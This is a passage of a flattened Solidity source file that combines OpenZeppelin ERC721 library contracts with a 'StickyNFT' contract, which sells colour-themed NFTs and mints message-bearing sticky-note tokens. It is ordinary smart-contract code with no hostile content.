event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// Part: OpenZeppelin/[email protected]/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Part: OpenZeppelin/[email protected]/Pausable
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// Part: ProxyRegistry
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// Part: OpenZeppelin/[email protected]/IERC721Enumerable
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/IERC721Metadata
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// Part: OpenZeppelin/[email protected]/ERC721
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// Part: OpenZeppelin/[email protected]/ERC721Enumerable
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// Part: OpenZeppelin/[email protected]/ERC721URIStorage
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: StickyNFT.sol
/**
@title StickyNFT.
*/
contract StickyNFT is ERC721, ERC721Enumerable, ERC721URIStorage, Pausable, Ownable {
// Libraries
using Counters for Counters.Counter;
using SafeMath for uint;
using SafeMath for uint256;
using Strings for uint256;
using Strings for address;
Counters.Counter private _tokenIdCounter;
// + Structs
struct StkToken {
uint256 tokenId;
address owner;
// Color information
string bgHexCode;
string fgHexCode;
// Message
string message;
}
// + Variables
// Maximum number of notes an owner can consume with an NFT. Refillable
uint256 public stnLimit;
// Total supply of Sticky Notes NFTs
uint256 public stnBkMaxSupply;
// Prices value in wei
uint public stnRefillPrice;
uint public stnBkPremiumPrice;
// Total number of sold NFTs.
uint256 private _soldCounter;
// Maps Token ID to NFT Structure
mapping(uint256 => StkToken) tokenIdToStkStruct;
// Maps Token ID to Available notes to spend
mapping(uint256 => uint256) tokenIdToAvailableStkCount;
// Maps color combination hash to consuming status. True
mapping(bytes32 => bool) consumedColorCombination;
// Address to Token Id
mapping(address => uint256[]) public addressToTokenId;
// Address to Token Id Sent
mapping(address => uint256[]) public addressToSentTokenId;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
// + Events
event TokenNotBurnable(string message);
// Emitted when a token is Transferred
event TokenTransferred(address from, address to, uint256 tokenId);
// Emitted when a note is pinned
event NotePinned(address from, address to, uint256 newTokenID);
/*** Sticky NFT Constructor.
@param _stnBkMaxSupply total maximum supply of NFTs.
@param _stnLimit total number of notes in each NFT.
@param _stnBkPremiumPrice price for each NFT.
@param _stnRefillPrice price to refill notes with _stnLimit.
@notice stnBkPremiumPrice & _stnRefillPrice are in wei
*/
constructor(uint256 _stnBkMaxSupply, uint256 _stnLimit, uint _stnBkPremiumPrice, uint _stnRefillPrice, address _proxyRegistryAddress) public ERC721("StickyNFT", "STX") {
proxyRegistryAddress = _proxyRegistryAddress;
stnBkPremiumPrice = _stnBkPremiumPrice;
stnRefillPrice = _stnRefillPrice;
stnBkMaxSupply = _stnBkMaxSupply;
stnLimit = _stnLimit;
_soldCounter = 0;
}
/*** Setter for NFT price
@notice OnlyOwner
*/
function setStnBkPremiumPrice(uint _stnBkPremiumPrice) external onlyOwner {
stnBkPremiumPrice = _stnBkPremiumPrice;
}
/*** Setter for refill price
@notice OnlyOwner
*/
function setStnRefillPrice(uint _stnRefillPrice) external onlyOwner {
stnRefillPrice = _stnRefillPrice;
}
/*** Setter for Open Sea Proxy.
@notice OnlyOwner
*/
function setOpenseaProxy(address _proxyRegistryAddress) external onlyOwner {
proxyRegistryAddress = _proxyRegistryAddress;
}
/*** Return token (background color hex code, font color hex code, Available note count).
@param _tokenId
*/
function getStkNoteInfo(uint256 _tokenId) public view returns (string[3] memory result){
require(tokenIdToStkStruct[_tokenId].owner != address(0), "Doesn't exist");
// create result list
result[0] = tokenIdToStkStruct[_tokenId].bgHexCode;
result[1] = tokenIdToStkStruct[_tokenId].fgHexCode;
result[2] = tokenIdToAvailableStkCount[_tokenId].toString();
return result;
}
/** Return a count of owned Sticky Notes NFT of msg.sender
*/
function getOwnedStkNotesCount(address account) public view returns (uint){
return addressToTokenId[account].length;
}
/** Return a count of sent Sticky Notes NFT of msg.sender
*/
function getSentStkNotesCount(address account) public view returns (uint){
return addressToSentTokenId[account].length;
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "wrong owner");
return addressToTokenId[owner].length;
}
function totalAvailableStkCount(uint256 _tokenId) public view returns (uint256){
require(msg.sender == tokenIdToStkStruct[_tokenId].owner, "Not owner");
return tokenIdToAvailableStkCount[_tokenId];
}
function refill(address owner, uint256 _tokenId) external payable {
require(owner != address(0), "wrong owner");
require(msg.value >= stnRefillPrice, "Price not met");
require(tokenIdToStkStruct[_tokenId].owner == owner, "wrong owner");
tokenIdToAvailableStkCount[_tokenId] = tokenIdToAvailableStkCount[_tokenId].add(stnLimit);
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC721.isApprovedForAll(_owner, _operator);
}
function send(address _to, uint256 _tokenId, string memory _message) public {
require(tokenIdToStkStruct[_tokenId].owner == msg.sender, "wrong owner");
require(tokenIdToAvailableStkCount[_tokenId] > 0, "Notes Spent. refill");
require(bytes(_message).length < 256, "Large message");
// Create the token structure
uint256 newTokenId = _tokenIdCounter.current();
StkToken memory stnStruct = StkToken({
owner : msg.sender,
tokenId : newTokenId,
bgHexCode : tokenIdToStkStruct[_tokenId].bgHexCode,
fgHexCode : tokenIdToStkStruct[_tokenId].fgHexCode,
message : _message
});
// Owner to sent token Id
addressToSentTokenId[msg.sender].push(newTokenId);
// Reduce parent stk count
if (tokenIdToAvailableStkCount[_tokenId] > 0) {
tokenIdToAvailableStkCount[_tokenId] = tokenIdToAvailableStkCount[_tokenId].sub(1);
}
// Mint the stk
_safeMint(_to, newTokenId);
tokenIdToStkStruct[newTokenId] = stnStruct;
// Increment counter
_tokenIdCounter.increment();
emit NotePinned(msg.sender, _to, newTokenId);
}
function increaseMaxSupply(uint256 increase) public onlyOwner {
stnBkMaxSupply = stnBkMaxSupply.add(increase);
}
function buyNFT(string memory _bgcolor, string memory _fgcolor) external payable {
require(_soldCounter < stnBkMaxSupply, "Sold Out");
require(msg.value >= stnBkPremiumPrice, "Price not met");
// Ensure color combination is picked only once
// This is not true for random
bytes32 colorHash = hashColor(_bgcolor, _fgcolor);
require(consumedColorCombination[colorHash] == false, "Combination not available");
// Create the token structure
uint256 newTokenId = _tokenIdCounter.current();
StkToken memory stnStruct = StkToken({
// Colors
bgHexCode : _bgcolor,
fgHexCode : _fgcolor,
// General
owner : msg.sender,
tokenId : newTokenId,
message : ''
});
// Mint the stk
_safeMint(msg.sender, newTokenId);
tokenIdToStkStruct[newTokenId] = stnStruct;
tokenIdToAvailableStkCount[newTokenId] = stnLimit;
consumedColorCombination[colorHash] = true;
addressToTokenId[msg.sender].push(newTokenId);
// Increment
_soldCounter = _soldCounter.add(1);
_tokenIdCounter.increment();
}
function safeMint(address to, string memory _bgcolor, string memory _fgcolor) external onlyOwner {
require(_soldCounter < stnBkMaxSupply, "Sold Out");
require(bytes(_bgcolor).length <= 6, "wrong color format");
require(bytes(_fgcolor).length <= 6, "wrong color format");
bytes32 colorHash = hashColor(_bgcolor, _fgcolor);
require(consumedColorCombination[colorHash] == false, "Combination not available");
// Create the token structure
uint256 newTokenId = _tokenIdCounter.current();
StkToken memory stnStruct = StkToken({
// Colors
bgHexCode : _bgcolor,
fgHexCode : _fgcolor,
// General
owner : to,
tokenId : newTokenId,
message : ''
});
// Mint the stk
_safeMint(to, newTokenId);
tokenIdToStkStruct[newTokenId] = stnStruct;
tokenIdToAvailableStkCount[newTokenId] = stnLimit;
consumedColorCombination[colorHash] = true;
addressToTokenId[to].push(newTokenId);
// Increment
_soldCounter = _soldCounter.add(1);
_tokenIdCounter.increment();
}
function _baseURI() internal pure override returns (string memory) {
return "";
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable)
{
